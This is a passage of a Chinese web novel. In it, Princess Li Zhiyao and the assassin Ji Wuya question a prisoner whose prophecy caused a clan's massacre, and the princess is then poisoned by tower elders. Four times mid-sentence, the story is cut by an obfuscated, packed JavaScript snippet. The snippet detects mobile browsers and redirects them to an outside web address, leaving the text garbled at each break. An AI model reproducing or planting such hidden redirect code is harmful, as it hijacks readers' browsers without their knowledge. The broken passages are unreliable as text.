李之夭脱口,“可你不打算自己交给我。” 拆穿纪无涯的借口,那天晚上他说的话李之夭始终记得,从一开始他就知道自己回缘楼是出不来的,想得到解药就必须付出代价,代价李之夭不愿猜。 “若你真想亲自给我,就不会定下三日约定,为了避免麻烦夜长梦多,干脆从一开始就跟你来缘楼。” 纪无涯一开始这么说,按照李之夭的脾气,她真的会这么做,没想到最后反而两个人都留了下来。 “所以你是故意被九明带走的?” 李之夭点头,“他若不抓我,我还想刺激一下他身边的那个草包,动手给了我一个光明正大上缘楼的借口,朝廷又不会落下话柄,理全在我这边,蓝素衣理亏自然同意。” 对面楼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14252669|142084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道的房门打开,随后传来关门声,李之夭走过去从门缝里偷看,离开的人是大护法,看样子他是和蓝素衣商量好事了。 自己这个万人嫌当的真不亏,走哪都能吸引仇恨。 缘楼并未在书中详细说过,所以对后面的发展并不知情,但有个人是关键,此人是安庆帝二十一年前命人悄悄送来缘楼,跟前缘楼楼主关押在的人,据说跟裴淮的身世有关。 二十一年前裴淮有关,跟纪无涯有关联的纳多族也是二十一年前覆灭,时间上出现的巧合令李之夭产生了疑心。 “纪无涯,你真没怀疑过你爹娘么?” 纪无涯说没有,莲花村花奶奶的话像平地起来的一记惊雷,让他不敢信,可后面出生的阿弟体内并没有跟他一样的旧毒,全家人健康就他一个是另类。 小时候他不是没问过娘亲这个问题,得到的答案是娘亲一巴掌,并勒令他不准再提。 十岁他独自离开家,这些年再也没回去过,也没去打听过。 “花奶奶的话我现尚不能回去辨别真伪,宁愿我是他们亲生的怪胎。” “你知道第一牢关着的是何人?”李之夭岔开话题。 纪无涯说不知,“他在缘楼的时间很长,楼里有令弟子不许跟他说话,也不许打探他的身份。” 李之夭眼睛直勾勾地盯着他,看得纪无涯心里有种不好的预感,果不其然后面说出来的话简直像在摸老虎屁股,“你带我下去第一牢一趟。” 说完她拍了拍屋中的箱子,“给钱。” 去第一牢需要从入口的十三层一直往下,十三层是机关阵,有回旋而下的楼梯,还有一座巨大的辘轳运送一些不方便的人或兽,以及物件。 每层之间只有楼里和辘轳轨道那里是互通的,每一层都有一道门,门需要护法手里钥匙才能打开。 门上的锁由二十位护法自己准备,轮到自己值守时就会把锁换成自己的,钥匙除了楼主有备份,其余人互相接触不到,毕竟若是出了事,被找麻烦的只会是当天看守的护法。 纪无涯带着李之夭一路往下,就算知道今日是宁儿送饭,但看到纪无涯并没有多问。 昨天晚上他跟楼主间的话跟着一块去的全部听到,没去的多多少少也从别人口中知道些。 他们当中不乏有些人是想离开缘楼的,奈何离开条件过于不近人情,兄弟姐妹以命相搏,他们并没那么冷心冷情,一起生活出任务,早就相互熟悉有了感情。 这份感情是他们在缘楼最珍贵的,同时也是束缚住他们的枷锁。 他们一路畅通无阻的来到第二层,李之夭从宁儿手里接过篮子,揉了揉她的头,“就麻烦你在这等会儿我们,绝对不会给你惹麻烦。” 对于他们的到来,男人并不意外,从他们来到十三牢门口时,就已经听到了。 李之夭想去给他把饭菜端出来被纪无涯拦住,男人呵呵笑起来,“我不会对她动手。” 周围的弟子很警惕李之夭靠近他,纷纷举起手中弓箭对准,只要她有一点动作那些乱箭就能射过来要了她的命。 篮子里的饭菜一碗一碗端出来放在男人跟前,纪无涯趁现在上去看台上将用李之夭的迷药掺在水中分发给弟子们喝。 李之夭不会武,跟纪无涯不同,所以他们自然放松了警惕喝下纪无涯端来的水,眨眼倒地不起。 “你是专门来找我的?” “是。” “你是大魏皇室的公主,你爹是肃仁帝?” 肃仁帝是大魏的前一任皇帝,他被关在这里二十几年,记忆还停留在进来的时候。 李之夭摇了摇头,“我父皇是李宣成,肃仁帝已经死了,现在大魏姓连,不姓赵。” 71. 箴言 第71章 男人顿时怔在原地,满脸不可置信,结结巴巴半晌终于才蹦出来几个字,“你说你父皇是李宣成,那李道为是你什么人?” “他是我皇祖。” 男人继续追问,“现在燕国是何年?” 提及燕国李之夭顿住,看男人的样子并不知外面世道变换,一直停留在他还没被关进来的时候,“燕国已经没了,原先燕国现如今属于大魏,三分天下已为二,只剩北唐预支分庭抗礼。” 男人突然哈哈大笑,仿佛听到什么大快人心的事,完全不顾眼前的人是否是燕国人的心情,直呼痛快,“现如今大魏几年?” “今清武二年。” 男人不停念叨原来如此原来如此,“北唐现是何人持政?” “安庆帝。” 男人神色骤然冷了下来,“他这个皇帝倒是坐得舒心安逸,李道为和赵填都死了,裴路明竟还苟活于世!”他倏地看向李之夭,“你是燕国人,出现在这里,也是被关进来的?” 说完好像想到什么,连忙说不对,眉头紧皱,“你是燕国人,方才那将军说你是公主,你难不成想复国?” 李之夭摇头说不是,“我是特意来找你的,燕国灭了从未想过复国,从前百姓已经够辛苦了,如今好不容易安居乐业,大魏皇帝善待他们,从不厚此薄彼,我为何又要因自己的身份将他们卷入战争里。” 男人神色一僵,明白李之夭的意思,顿时看她的眼神便的赞赏起来,“李道为赵填称帝时就民不聊生,我不知李宣成为燕国皇帝时怎样,但确实应该以民为先,你找我所谓何事?” 此人知晓不少有关三国之事,且每个皇帝名号都喊直呼不讳,李之夭觉得自己这趟没有白来,“敢问前辈大名?” “不知你们听过龙启于南,归元所一八字箴言没有?” 李之夭和纪无涯对视一眼,这不是就是当时花奶奶跟他们讲的那句话么,因为这句话葬送了许多无辜人的性命,包括纳多族人全族覆灭。 男人观察着他们的神色,心中顿时明了,“这句话就是我说出来的,在下师从天机门,名为封先,说来惭愧,年少血气方刚,自命不凡,机关玄术世间唯一,二十二年前,我夜观天象,发现未来将有一位天命所归之人出生于南方,此人出生必然不凡,将来更是会一统天下,我将此事公之于众,惊动三朝天子,他们将我奉为座上宾,一时间风光无限,我洋洋得意为他们出谋划策,说只要找到天命之子,届时天命归于何方,必然是何方的天下,只是我没想到他们三人达成一致,安庆一年,就是二十一年前,三朝势力一同南下,所到之处凡是新出生的孩童纷纷丧命,后来安庆帝带我去到一处地方,问我此地如何,此地人杰地灵,我瞧周围山明水秀,是难得的世外桃源,可他们这样的做法已让我感到心惊,因我一句夸赞,他们便剿灭一整座村子的人。” 纪无涯眉头皱起,“你可知那里住着的是何人?” 李之夭大致已经猜到,正当他说龙启于南,天元归一时,便明白他指的是何人,剧情里不就是裴淮最后一统三国,成为整片土地最独一无二的人。 他箴言并未出错,只不过现在她觉醒,就不会让这样的事情发生。 封先努力回想,最后失望的垂下头,说自己不记得了,“当时我年少气盛,眼高于顶,加上我被他们的行为吓坏了,压根不敢去多问,我是师门中最聪明的一个,武功玄术造诣不凡,记事起顺风顺水,没想到一出世,就是这样的结果。” “你是被何人关进来的?” “安庆帝裴路明。” 他很想出去,出去将裴路明的事公之于众,“那年他们借口清扫匪寇,实际是杀害无数无辜人的性命,罪恶滔天,罄竹难书。” 现在他的仇人三个已经死去两个,剩下最后一个安稳坐在他的宝座上,迟迟未等来他该有的报应。 只不过没想到缘楼不光跟燕国大魏有牵连,竟然跟北唐还有往来。 李之夭得到她想只要的答案,心中已开始有自己的盘算,然而她并未忘记问问有关于纪无涯的事,“你可知下月集?” 纪无涯微微抬眸看她,封先想了想点头道:“这是燕国开国皇帝游历时所创,缘楼第一任楼主,也是他,后来他病逝,缘楼也经历几次变故,副楼主去世后,缘楼势力开始分崩离析,最后脱离朝廷掌控成为江湖杀手组织,下月集是燕国之物,你是燕国公主,理应知晓它的存在。” 说到此事封先疑惑看向李之夭。 李之夭细细想了想,她记忆里确实从未听过跟下月集有关的书籍,甚至连名字都是第一次听说,“我在燕国十五年,从记事起,从未听过跟下月集有关的事,连名字都是从纪无涯口中得知。” 封先听完跟李之夭道:“下月集它还有另外的名字,叫《大若心经》。” 李之夭怔在原地,这个名字似乎把她记忆拉回到好远,大若心经的名字,她确实听过,幼时她时常困锢于梦中不曾醒来,母亲常常拿经书念给她听,念的就是《大若心经》。 只不过这不是完整的,是下卷,没人知道上卷去了哪里,而且关于心经,在她记忆里跟书里有关的剧情中,裴淮后面时常梦里睡不好,困于噩梦中,似乎是裴淮知晓自己的身世之后的剧情,她为了巩固男女主的信任,主动将心经从大魏宫里找出来,献宝一样把下卷献给裴淮,希望能让他免于噩梦的困扰。 李之夭拍了拍脑袋,“它在大魏的国库里。” 纪无涯听闻声音都急切许多,“当真?” “不过那是下卷。” 纪无涯眉眼舒展开来,有消息总比没消息来得好,现在他送算想明白前世裴淮手里为何会有下月集,若是在大魏皇宫且曾经是燕国的东西,按照前世李之夭跟他们的关系来看,只能是李之夭自己送给他们的。 封先这才有机会仔细看他们二人面向,不细看不知道,细细一看,他才发现二人面色都有中毒的迹象,“你们怎么都中毒了?” 他赶忙从地上坐起来,两只手分别为他们二人把脉,“你这是留羽毒。”他复又转头惊讶看着纪无涯,“你体内的毒,这是纳多族邀月后人的旧毒?” 李之夭抽回手,皮笑肉不笑地说道:“二十一年前纳多族被灭,也亏了先生。” 提及此事,封先愣住,难以置信的看他,“难不成当年被三朝皇帝剿灭的村子,就是纳多族人居住的村子?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14262275|142084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 他顿时瘫软在地上,双目无神,“怎么会这样……报应,一切都是报应啊……今年你几何?” 纪无涯知道他想问什么,“你箴言里的那个人不是我,我今年十七尚未弱冠,并非二十一年前出生。” 时间对不上,就不会是他,封先本以为他看到了希望,谁知根本不是眼前此人,李之夭道:“先生既然跟我等敞开心扉,我也不欺瞒先生,关于先生箴言,我们确实遇上箴言里的人,可惜我们也占得先机,若非此机缘,先生箴言怕就应验,我也不会把我的命轻易交出去,因为先生箴言死去人众多,论罪孽先生身上也颇多。” 封先苦笑出声,“我怎会不知,被关在这暗无天日的地牢中一待就是二十一年,这是我该承受的罪。” 他们往回走出去的时候外面已经天黑了,饶是封先,解毒之法跟他们了解到的所差无异,只是没想到进院子的时候,她发现东阁楼的有人走去,一位身穿白衣看身形像老者的人推门进去。 她和纪无涯对视一眼,今日他已闯祸,私自去了第一牢,也不差这一次了。 他拦住李之夭的腰飞身上八角楼的东边阁楼楼顶,再翻身落在阁楼外围的走廊围栏处,在这里是视野的死角,站岗的缘楼弟子并不会发现他们,且位置靠近阁楼内屋,他们说话听得一清二楚。 李之夭扒在窗户缝往里看,是一位鹤发白衣老者,身子骨健朗,放在桌上的正是早上她下药的早点,看样子他是一点都没动,所以才没中招。 刚进去下属就道:“主子,宿宁公主怎么办?” 他们对视一眼,不敢出声,看属下似乎身手不错的样子,所以李之夭刻意放缓放轻自己的呼吸,不敢让里面的人察觉异常。 听墙角还听到自己头上。 “不着急,京城里最近可有什么动向?” “大小姐请您速速回去,徐子清有些小动作,他下午偷偷离开了京城,看方向是来这边了。” 老者捋了捋胡须,思考半晌才缓缓出声:“他那边不打紧,横竖不过也是知道了宿宁公主不在宫里的消息,我们这次过来缘楼是为了封先,他的存在不能让徐子清知晓。” “需要属下悄悄了解了他吗?” 老者摆手说不可,“封先此人身上有关于二十一年的秘密,至今我们都不确定是否有幸存者,不宜将他赶尽杀绝。” 他似乎想到谁,紧接着又问了一句,“蓝素衣那边怎么样?” “看她想黑吃黑,她暗中派大护法离开了缘楼去往北唐,应该去找安庆帝了。” “她想借安庆帝的手除掉宿宁,这样一来,宿宁的死就不会怪在缘楼头上,又能引起两国开战,算盘打得好。” “主子,咱们接下来该怎么办?” 老者睨了他一眼,慢条斯理端起茶杯小酌一口,“徐子清不是要来么,咱们就在这等着会会他。” 李之夭做了个离开的手势,纪无涯看到带她离开东阁楼,飞身刚来到她的房间门口,蓝素衣带人从暗处包围过来,把他们二人围个水泄不通。 她目光不善地死盯李之夭,眼中杀意浮现,“你还真是个讨人嫌的家伙。” “谢谢,我一向如此。” 72. 惩罚 第72章 蓝素衣见怼李之夭什么,不管好的坏的照单全收,明白在她这边讨不到好,转头就对纪无涯发难,“你身为缘楼护法,怎纵容外人这般行事,该罚!” 李之夭嗳了一声,音调上扬,主动替纪无涯接过话茬,“他现在是我的侍卫,我身为主子,他听我的话也是情理之中,他虽然是你缘楼的护法,但目前还是以我为主,就算要罚也该我罚。” “你想怎么罚?” 李之夭两手一摊,语气带着无辜和茫然,“他跟着我又没做错事,我为何要罚?” 蓝素衣现在是明白了,李之夭好奇心旺盛,恐怕上次去第一牢,她也惦记上了关在里面的男人。 可不管怎么说,既然她已经发现了缘楼的秘密,包括阁楼上的那位,是万万不能再让她肆意妄为下去。 就在此时,林江过来,手里还拽着宁儿,见到纪无涯神色事毫不掩饰的厌恶,看李之夭目光亦然,“楼主,我今日本想轮到宁儿送饭心中胆怯,本想过去安慰她两句,谁知她并未受到任何惊吓,看到我时还有些心虚,属下起疑,便询问宁儿,她这才说实话,说去第一牢见那个男人是十三的主意,属下便去第一牢查看,发现那里的弟子都被人迷晕在地,叫醒才知他们是喝了十三送的水。” 蓝素衣顿时瞪大双眼,声音拔高许多,“你们还去了第一牢?” 宁儿顿时吓得哭出声,委屈地看向李之夭,哭诉道,“我不想说的,但是师兄威胁我,他用我好不容易养活的兔子威胁我。” 李之夭皱眉,林江的存在,他处处盯着纪无涯,见不得他好,实属是个祸害。 她本来打算趁夜再回去一趟把他们救醒道个歉,再用身份压一压威胁不准备把今晚的事说出去,林江的出现是个变故。 可他字字不提自己,把责任全部推到纪无涯头上,就算听闻难免也不由嗤笑一声,“他跟在我身边,你怎不说是我的主意?字字攀咬,蓝楼主,你手底下的护法本以团结一致,没想到出了他这个败类,若是落到敌方手里,小心他第一个把你们给卖了。” 林江双目圆瞪,“你血口喷人!” 李之夭两手一摊,“实在不行,不妨把今日值守的护法们找过来,看看下去的人是我还是纪无涯。” 今日值守的人个个跟纪无涯私底下有些交情,横竖又没别人看到,为了自家的师兄弟,李之夭有那个把握他们不敢说实话。 大不了鱼死网破,哪怕清武帝起疑她也不管,反正此人做法着实令人恶心。 蓝素衣知道李之夭打得什么算盘,自然不会让一个外人把缘楼一众护法算计得团团转,拿捏他们的情感,做自己的利刃,要真如李之夭所说,林江就成为众矢之的。 早先虽只林江对纪无涯不合,她睁一只眼闭一只眼,毕竟护法之间也需有些矛盾才能增强彼此之间的竞争关系。 但此时他的做法确实让人不耻,对李之夭的话,她也听进去了几分。 可林江不这么想,看蓝素衣神色犹豫,最后冷冷瞪着他的模样,心又沉了几分,“楼主!为什么不喊他们来!楼主你不能这么包庇十三!他放了那男人一次就会放第二次!要早做防备啊楼主!” “够了!”蓝素衣打断他的话,“此事我自有定夺,轮不着你插嘴!” 纪无涯知道此时他说什么无异于都会打其中一人的脸,但不能让他们闹这么僵,否则李之夭的解药就拿不到了。 望着李之夭的侧脸,若不是她,自己怎么还能站在这里听他们说话,心头顿时涌入一股莫名的情绪。 酸涩,苦闷,他除了一身武力能护她之外,好像什么都帮不上她。 蓝素衣看向李之夭,若今日非要分出个胜负,她不得不把最后的杀手锏拿出来,“公主玩够了也该回去了,我早就收到大魏皇帝的飞鸽传书,说本来就是打算将纪无涯押回来给我数罪并罚,他擅闯太后寝宫,纵你持刀,本就大过,你欠他的钱,钱财不都带上山来了,我命人把属于他的那份放置他的物种,你们二人牵扯不清,不妨趁现在一刀两断,你想让他做你夫婿公主可能要失望了,你想想大魏皇帝愿意么,把你交到杀手手中,他身份低微,自小体内带毒,活到什么时候都不知道,爹娘都是普通老百姓,无权无势,在你们权贵眼里不过就是蝼蚁,这样的人如何配的上从小锦衣玉食的你,所以趁现在断个干净,别让他生出不该有的念头,误了公主的未来。” 牛大壮闻声赶来带着驻军护在李之夭周围,气氛不对驻军们都蓄势待发的模样,见驻军过来,缘楼弟子也围了上来,顿时剑拔弩张。 李之夭笑了笑,蓝素衣是个聪明人,把清武帝搬出来镇压她。 蓝素衣掠过她看向纪无涯,“你还要让人维护到几时?”说完才对李之夭道,“公主,缘楼小地方,供不起您这样的大佛,还是请你明日天一亮就离开吧。” 纪无涯刚想往前一步,就被李之夭拦住,见两人还在拉扯,蓝素衣不由再出声提醒,“十三。” 纪无涯冲她投去安心的眼神,“总不能每次都由你护着。”他低声说完只是走了几步,并未出驻军的圈子,在前方站定,“把留羽的解药给她,我甘愿受罚。” “你现在翅膀硬了,敢跟我讲条件?” “把留羽解药给她。” 纪无涯本打算今晚把留羽解药拿到手给李之夭吃下送她离开,长久待在缘楼不是办法,况且若清武帝发现她不在宫里,对李之夭来说是个大麻烦。 蓝素衣示意身边的人去拿解药,所谓解药,不过就是雁沙毒,很快雁沙就取来,掷到他手中,纪无涯掰开一半自己吃下,确认是雁沙毒没错才将另一半给她。 李之夭见他动作想阻拦都来不及,眼睁睁看他吃下去,“你吃毒药干嘛?” “就算我现在不吃,一会儿还是得吃的,缘楼里的护法,是不能没有雁沙的。”他眼瞳深邃漆黑凝望李之夭,彷佛恒古的画,悠远又绵长,藏着久远的故事,“放心,就算只剩一半,药效都是一样的。” 现在说什么都没用,没想到她出处心积虑这么久的布局,到头来还是回到最开始的起点。 蓝素衣派人把纪无涯关进第三层的水牢,没她命令,任何人不得靠近,就连饭都是两天送一次,不能给多,但也不能给少。 李之夭担心地叫住他,纪无涯脚步顿住回头冲她抛来金坤钱,“这个送你了,老和尚留下来的东西。” 他想还人情,只怕是现在人情两个人都互相数不清了。 站在南边阁楼上的一名老头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14272335|142084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见下面的情况冷笑一声,他手里还拿着一瓶跟方才送来雁沙毒一样的瓶子。 虽然体内毒已经解了,但李之夭心里有些不安,说不上来是何种不安,总觉得事情没那么简单。 牛大壮骂骂咧咧地催促驻军准备启程下山回营,说缘楼楼主没一点江湖道义,这还在大魏的地盘上,怎么就跟大魏皇室不对付之类的话。 李之夭本来的打算就是解药,现在解药到手,她也该回去了,只是刚出缘楼大门。 守门的弟子被从暗处窜出来的黑影一刀毙命,牛大壮拔刀喊人掩护,下一瞬迷药四面八方的来,他们招架不住纷纷倒地。 李之夭也跟着晕了过去。 在他们全都晕厥后,四名老者从暗处出来,蓝素衣闻声出来查看情况,见是熟人皱眉神色不悦,但尽量控制着口吻跟他们说话。 “四位长老这是作甚?” 为首的老媪站出来,拐杖狠狠砸了一下地面,首先对蓝素衣发难,“楼主明知此女见过封先,为何要放她离开?” “她是大魏皇室的人,难不成我真要和大魏撕破脸?” 二长老怒声指责,“别忘了你的身份!若是他知道了,你该当何罪?” “智先生醉心于繁华京城的权势,况且我们身为北唐安庆帝的安插眼线在大魏周旋,想办法打进朝廷内部,这些年,我按照你们的意思为缘楼做得够多了,现在你们对驻军动手,就不怕大魏追查届时功亏一篑?” 三长老志得意满:“我在雁沙毒里加了点别的东西,跟留羽毒相撞便会产生蛊毒,你放心,十三没事,他体内旧毒在,那个东西对他不起作用。” 蓝素衣想跟他们动手,大长老拐杖直指蓝素衣,她眼圈周围布满皱纹,眼神凛冽话语充满警告,“杀了宿宁是智先生的意思,你就算不念北唐,也该念念智先生把缘楼交到你手上。” 她顿在原地,“可是这么做,无异于跟大魏挑衅,况且楼里的人他们现在都不知自己在为谁效力。” 大长老收回拐杖,说了句放心,“不会让他们死的,你找人把他们分别关起来,为谁效力不管,最主要是对你的是否言听计从,十三已经掌控不住,楼主早做决断,否则迟早坏了大事。” 四位长老离开后,二护法从暗处走来,她身着红衣,懒懒散散挂在蓝素衣身上,“好姐姐,你该怎么办?” “想借我的手控制缘楼,真以为现在缘楼还是之前的缘楼,若不是为了纳多族……”蓝素衣意识到自己话说多了,拿开二护法的手,“把李之夭关十三牢里去。” 二护法将人从地上打横抱起,临行前睨了她一眼,“别生气了,十三知道自己身世是必然,你不也觉得他跟从前不一样了么。” 蓝素衣叹了口气,“若是让安庆帝知晓,十三必然活不成,我也在犹豫,他跟着李之夭是不是会好一点,可如今我腹背受敌,不能把他牵扯进去。” 二护法勾起唇角,温柔地望她,“不管如何,我都跟着你,上刀山,下火海。” “林江你有何打算?” “杀了。”二护法说话声音温柔,字字冰凉,“攀咬十三,是对纳多族的不敬,上次跟九明执行任务,他杀了死手,若不是他也不会把大魏的人扯进来,死了心里才舒坦。” 73. 冷暖 第73章 林江从药堂出来,手里拿着一瓶止痛药和安神香,许归一鞭将他打得皮开肉绽,这两日有愈合长肉的趋势,一到晚上就瘙痒难耐,控制不住的想伸手去挠,接近腰部位置的地方,已开始发红,跟他走得比较近的九明劝他来药堂拿点安神香晚上方便入睡。 许归这一鞭,林江默默记在心里,想着日后伤势痊愈,他必要下山去找那个老太婆的麻烦。 林江没走几步,就被人拦住去路,见来人是二护法,顿时换了副脸色,朝她笑得谄媚,“二师姐,这么晚还没睡?” 二护法名叫沅露,没加入缘楼之前就是行走江湖的练家子,更是名动一方的美人,她平日深居简出,除了接任务都很少出现在众人眼前。 林江没想到今日自己走运,竟然能见到他仰慕已久的二师姐。 沅露上下睨了一眼,勾唇微微笑起,像在跟他唠家常,“十二师弟,这是受伤了?” 林江没想到她会主动关心自己,顿时心花怒发,笑起来也猥琐几分,不由自主往前走了一步,见对方还在原地没动弹,心中更是高兴不已。 二师姐这是什么意思? 她没排斥自己的主动靠近,反而笑得更加温柔似水,一个大胆的念头在林江心里产生,莫不是她对自己也有意? 林江顿时把后背的伤忘得一干二净,“二师姐,这不碍事的,一点小伤。” 沅露应了一声,“既是小伤,想必十二师弟还有些力气,不妨先去竹林等我。” 说完她就离开了,留下林江一人站在原地发懵。 炎热的夏日,因为她那句模棱两可的话让他心浮气躁起来,只觉自己气血上涌,莫不是自己的好事将近? 林江想也没多想,立刻赶往竹林赴约。 他在竹林等了半晌,竹影幢幢,林间沙沙声不断,正要耐心耗尽时,翘首以盼的人终于姗姗来迟。 沅露并未提灯,就着夜色走来,手上还提着一捆绳子,林江不由再次浮想联翩,可还未等他开口,只见沅露袖箭暗器飞出,林江慌乱躲闪。 现在他算是彻底清醒了,大声质问,“二师姐!你这是什么意思?” 沅露身手武功皆在他之上,就连他惯用的暗器都比不上人家,几招下来林江瞬间被打倒在地,沅露一路踹着他顺便用绳子将他捆起来。 林江挣扎不得,只能疯狂喊救命,希望引来附近的人。 附近的人确实听到声音准备赶来,但行至一半就被蓝素衣挡住了去路,他们看见楼主不得不停下行礼。 “你们这是干什么去?” 弟子们抱拳回复说听到了救命声,“好像是十二护法的声音,我们正要赶过去看看会不会出现什么事。” 蓝素衣没有让开的意思,“今晚你们没听到什么动静,十二护法的声音你们听错了,他被我派出去执行任务去了。” 弟子们闻言不敢再过多言语,抱拳领命撤下了。 当夜,原本驻守十三牢的人全部撤走,纪无涯被关在第三牢,发现外头值守的人全部被撤走,有人去了第二牢那只老虎在的地方。 听动静似乎是饿了许久的老虎终于迎来了属于它的大餐,纪无涯动了动身子,池子的水冰凉刺骨,手脚被铁链束缚,身体被水浸泡得开始渐渐发白浮肿。 不知过了多久,下面的动静才渐渐消停,离开的护法在第二日天明才回来。 他的物件被搜出放在墙角边的桌上,药珠银币都在那里,他盯着半晌忽然胸口发闷,紧接呕出一口血来,邀月毒发作,双拳攥紧极力忍受疼痛,青筋暴起,渐渐目光逐渐呆滞,越想拼命压制,体内真气逆行,口吐鲜血。 内力波动,铁链被真气攀延,发出锃锃声响,守在外面的护法闻声开门进来,只见纪无涯内力乱窜,丝毫不受他控制,一瞬间束缚着他手脚的铁链炸开,失去力量他双脚一软,单膝跪在了水中。 守门饿的护法大喊一声师兄飞身上前将他从水里捞出来,为他调理体内乱窜的内力,并托人出去通知楼主。 蓝素衣听闻此事神色骤变,急忙从床上坐起,她第一时间想到是昨晚二长老留下的毒,可冷静下来转念一想他们没道理欺骗自己。 她带上药堂的医师去到第三牢,此时纪无涯昏睡不醒,脉象紊乱,医师上前为他施针。 在第一牢的封先也感受到上面的内力波动,内力他熟悉,是纪无涯的,他盘腿望向旁边的护法喊了句小姑娘,“你去跟蓝素衣说,我能帮她救十三护法。” 蓝素衣听了这句话,没立刻下去,而是等医师医治说自己无能为力时才选择把纪无涯抬下去给封先看。 沅露把剑架在他脖子上,威胁道:“若是你敢起别的心思,我一刀宰了你。” 封先为纪无涯把脉,瞬间他惊慌失措地拿开了搭脉的手,磕磕绊绊半天,指着纪无涯道,“这、这是……” 沅露知道他要说什么,不由把刀口逼近几分,“这是什么?” 封先望了望沅露,又看了看蓝素衣,忽然明白什么,哈哈笑起来,说这是报应,“有因必有果,难怪难怪!”他猛拍自己大腿,“我早该想到的!” 蓝素衣皱眉瞪他,“别废话,快救人。” 封先弹开沅露的长剑,开始为纪无涯压制体内的邀月毒,直到傍晚才结束。 蓝素衣等人一天的时间不敢出声打扰他,封先的内力淳厚,加上他的身份,不想相信他都难。 见纪无涯脸色有好转的迹象,悬着的心才稍微放下来,封先收了内力,“蓝楼主,你还挺关心十三。” 蓝素衣冷眉不悦,“是我缘楼护法,关心难道不应该?” 封先笑了笑,“是我失言。”见他们有想把人带走的念头,封先出声制止,“他今晚随时都有可能复发,留在我这里是最好的选择。” 蓝素衣看向沅露,她点头才松口,“不过我要派人守在这里。” 念她还在意上次纪无涯把她放出去的事,为了避免再犯同样的错误于四大长老那边不好交代,封先也没说什么便同意了。 冷。 又热。 两种不同的感觉相互在体内游走,上一瞬宛如置身于火焰中,下一瞬仿佛来到冰天雪地的世界里,没过多久身体似乎有虫子东西爬过,爬过的地方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14285881|142084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 奇痛无比,虫子像在啃食皮囊下的血肉。 李之夭猛地睁眼,寻找疼痛的来源,发现身上并没其他的痕迹。 一名老媪站在门前,李之夭刚想说话,喉间一热,呕出一口血来,老媪听到动静转动转过身,眼眸周围布满皱纹,看她的眼神仿佛在看一个死人。 老媪叹了口气,“寻阳公主。”她杵着拐杖往前走了几步,“好好待在宫里,或许你还不会死得这般快,这一切是你自找的。” 她睨了一眼,继续说道:“这里是十三牢的第四牢,我是四大长老之首,沅露她们对你过于仁慈,竟然将你放在第四牢,原先在这里看守的是一条巨蛇,只不过上次被纪无涯那小子杀了,所以这里是十三牢里最安全的一层,我们也是听了智先生的命令,加上那位大人并不想让你活着,直到明天天亮前我们四大长老都会守在附近,蓝素衣也不会发现,因为他们似乎在忙十三的事,无暇顾及你,寻阳公主,临死前做回曾经的你也是好事。” 李之夭缓过气来,“智先生是谁?还有那位大人。” “智先生你永远不会知道,那位大人在北唐,给你下毒是为了把罪责推倒蓝素衣头上,毕竟你有个当皇帝的舅舅,天一亮你就会因为蛊毒而亡,届时我在将驻军放出来,你们朝廷跟缘楼的矛盾一触即发,届时就是北唐的机会。” 李之夭快速想了想自己知道的剧情里是否有人跟北唐有关,思来想去除了裴淮和苏月清,她想不通北唐还有谁跟她有这么大的深仇大恨。 “裴淮?” 大长老说不是,李之夭又猜了苏月清的名字,文中苏月清师承一位避世医仙,得了他的真传,后来下山才被宋庆认作养女,进了宫中。 那位医仙名满天下,救的人数不胜数,并且给苏月清留了一块令牌,但她到死的时候都没见苏月清用过那块令牌,或者是苏月清用的时候背着她,没让发现。 除了裴淮,就只剩苏月清了,果不其然听到苏月清的名字大长老神色变了变,很快恢复如常,“不是。” “也是难为你们煞费苦心,为了我的命这么大费周章。”李之夭苦笑出声,心里在盘算怎么让自己脱险,距离自己最近的她认识的也只有第一牢的封先和第三层的纪无涯。 大长老说蓝素衣为了纪无涯的事难不成他体内的邀月毒又发作了? 所以纪无涯指望不上,唯一能救她的只有封先。 可是该用什么方法把消息传给封先? 李之夭想到封先耳力极好,顿时心中便有了主意,只不过她还没来得及想的时候,大长老飞来一粒药进她口中,再用内力迫使把药丸吞下去。 